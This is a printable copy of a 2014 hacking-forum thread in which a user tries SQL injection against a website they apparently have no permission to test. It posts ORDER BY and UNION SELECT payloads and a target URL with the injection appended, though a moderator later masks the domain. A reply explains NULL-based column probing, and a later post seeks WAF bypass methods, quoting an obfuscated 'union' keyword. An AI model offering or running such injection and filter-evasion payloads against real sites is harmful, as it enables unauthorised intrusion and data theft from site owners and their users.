Sinisterly
sql error - Printable Version

+- Sinisterly (https://sinister.ly)
+-- Forum: Hacking (https://sinister.ly/Forum-Hacking)
+--- Forum: Website & Server Hacking (https://sinister.ly/Forum-Website-Server-Hacking)
+--- Thread: sql error (/Thread-sql-error--55641)



sql error - BlueCat - 05-24-2014

I was trying to Inject this site. I found that it was...

Code:
order by 7--

So, I done this after

Code:
union select 1,2,3,4,5,6--

I got an error saying the following....

Code:
The used SELECT statement have different number of colums

Not entirely sure what is happening. But try it yourself.

Code:
http://www.ethical-link.com/forums.php?id=1%20order%20by%207--



RE: sql error - HomeSen - 05-24-2014

Well, generally, you first need to find the correct amount of columns. The easiest way to achieve that is by probing with "NULL" (to get around "column x has wrong type of value" errors) values:
Code:
UNION SELECT NULL-- UNION SELECT NULL,NULL-- UNION SELECT NULL,NULL,NULL-- ...
until the "different number of columns" error disappears.

On a side-note: I'm quite sure that you aren't the owner of that website and neither have permission to audit/attack it, right?

On a second side-note:
(05-24-2014, 04:50 PM)BlueCat Wrote: I was trying to Inject this site. I found that it was...

Code:
order by 7--

[...]

Doesn't seem right, since it results in another error Wink


RE: sql error - bluedog.tar.gz - 06-28-2014

I have replaced the real URL with 'ethical-link' to prevent people from harming the website. Try keeping it ethical here.


RE: sql error - aaka1 - 06-30-2014

My Post Deleted. What is the cause of delete my post? What i did wrong to put question help here.. I can't make thread so i posted here.I need help only. As i said der are lots of tutorials on WAF Bypassing and i knowsome of them but there is no tutorial on understand the behaviour of WAF.
Experts who post BYPASS WAF TUTORIAL tell there methods only like /*!00000%55nion*/ ewhere %55 is U but dont tell how we know to use that type of methods... Like in group_concat(table_name) which is blocked or which is not blocked by waf I want only that tutorial.If this post again deleted then ok sorry to put such question.
I am hard worker and eager to learn